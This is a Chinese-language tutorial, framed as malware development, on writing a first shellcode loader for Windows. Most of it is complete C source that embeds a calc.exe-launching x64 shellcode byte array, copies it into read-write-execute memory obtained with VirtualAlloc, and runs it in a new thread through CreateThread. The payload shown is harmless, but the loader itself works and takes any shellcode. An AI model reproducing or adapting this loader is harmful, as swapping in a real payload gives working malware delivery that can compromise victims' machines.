惡意軟體開發——編寫第一個Loader載入器

一、什麼是shellcode loader？

上一篇文章說了，我們說到了什麼是shellcode，為了使我們的shellcode載入到記憶體並執行，我們需要shellcode載入器，也就是我們的shellcode loader。當然編寫Loader不止侷限於C/C++，你也可以使用Python、Golang等語言編寫載入器

二、動手實現一個載入器

下面我們開始動手實踐編寫一個shellcode Loader，需要用到我們之前學到的記憶體相關API和函式

#include <Windows.h>
// 需要的標頭檔案

// 入口函式
int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode長度
    DWORD dwThreadId; // 執行緒ID
    HANDLE hThread; // 執行緒控制程式碼

// calc的shellcode
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

// 獲取shellcode大小
shellcode_size = sizeof(buf);

/*
VirtualAlloc(
    NULL, // 基址
    800,  // 大小
    MEM_COMMIT, // 記憶體頁狀態
    PAGE_EXECUTE_READWRITE // 可讀可寫可執行
    );
*/

// 申請一塊具有可讀寫執行許可權的記憶體空間
char * shellcode = (char *)VirtualAlloc(
    NULL,
    shellcode_size,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
    );


// 將shellcode複製到可執行的記憶體頁中
CopyMemory(shellcode,buf,shellcode_size);

// 建立一個在呼叫程式的虛擬地址空間內執行的執行緒 
hThread = CreateThread(
    NULL, // 安全描述符
    NULL, // 棧的大小
    (LPTHREAD_START_ROUTINE)shellcode, // 函式
    NULL, // 引數
    NULL, // 執行緒標誌
    &dwThreadId // 執行緒ID
    );

WaitForSingleObject(hThread,INFINITE); // 一直等待執行緒執行結束
    return 0;
}

編譯執行，成功彈出計算器